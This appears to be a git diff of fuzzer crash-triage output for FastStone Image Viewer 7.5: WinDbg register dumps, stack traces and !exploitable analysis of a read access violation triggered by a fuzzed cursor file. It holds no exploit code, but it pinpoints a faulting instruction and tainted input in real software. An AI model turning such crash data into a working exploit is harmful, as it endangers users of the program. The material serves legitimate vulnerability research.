+CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x460: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x460: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13d90000 00000000`13e6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(460.1460): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f60002 ebx=00000e1e ecx=07e48180 edx=000005a6 esi=1282f470 edi=0da8efd4 +eip=005bdfc9 esp=14f5f868 ebp=14f5fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.488767499434134800000e+0017 st5= 8.488769217421053440000e+0017 +st6= 2.539999999999999999970e+0000 st7= 1.990007000000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f5fd10 0060d6fc 00000000 14f5fd78 14f5fd48 image00000000_00400000+0x1bdfc9 +14f5fd88 005ff93f 14f5fde8 005ffbc2 14f5fde0 image00000000_00400000+0x20d6fc +14f5fde0 0090e28b 14f5fdf4 0090e3b5 14f5fe38 image00000000_00400000+0x1ff93f +14f5fe38 0090efea 14f5fea4 14f5fea8 14f5feac image00000000_00400000+0x50e28b +14f5fec0 008d05d5 14f5fed4 008d06ab 14f5ff00 image00000000_00400000+0x50efea +14f5ff00 008d0991 14f5ff14 008d0a43 14f5ff2c image00000000_00400000+0x4d05d5 +14f5ff2c 0042c0bf 14f5ff40 0042c0c9 14f5ff5c image00000000_00400000+0x4d0991 +14f5ff5c 00404c22 14f5ffcc 0040475c 14f5ff70 image00000000_00400000+0x2c0bf +14f5ff70 7572f989 07f4bec0 7572f970 14f5ffdc image00000000_00400000+0x4c22 +14f5ff80 770b7084 07f4bec0 73b65411 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f5ffdc 770b7054 ffffffff 770d62c4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f5ffec 00000000 00404bf8 07f4bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f60002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..0e9cb80 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..f286fac --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x0000000014f80002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..86b8d28 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..9fa3db0 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x190C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x190C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(190c.3c4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f90002 ebx=0000021e ecx=07f48180 edx=000005a6 esi=1274ac40 edi=0444dfd4 +eip=005bdfc9 esp=14f8f868 ebp=14f8fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.485952749667203760000e+0017 st5= 8.485954467654122400000e+0017 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f8fd10 0060d6fc 00000000 14f8fd78 14f8fd48 image00000000_00400000+0x1bdfc9 +14f8fd88 005ff93f 14f8fde8 005ffbc2 14f8fde0 image00000000_00400000+0x20d6fc +14f8fde0 0090e28b 14f8fdf4 0090e3b5 14f8fe38 image00000000_00400000+0x1ff93f +14f8fe38 0090efea 14f8fea4 14f8fea8 14f8feac image00000000_00400000+0x50e28b +14f8fec0 008d05d5 14f8fed4 008d06ab 14f8ff00 image00000000_00400000+0x50efea +14f8ff00 008d0991 14f8ff14 008d0a43 14f8ff2c image00000000_00400000+0x4d05d5 +14f8ff2c 0042c0bf 14f8ff40 0042c0c9 14f8ff5c image00000000_00400000+0x4d0991 +14f8ff5c 00404c22 14f8ffcc 0040475c 14f8ff70 image00000000_00400000+0x2c0bf +14f8ff70 7572f989 0804bec0 7572f970 14f8ffdc image00000000_00400000+0x4c22 +14f8ff80 770b7084 0804bec0 eabbbde7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f8ffdc 770b7054 ffffffff 770d62ab 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f8ffec 00000000 00404bf8 0804bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f90002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 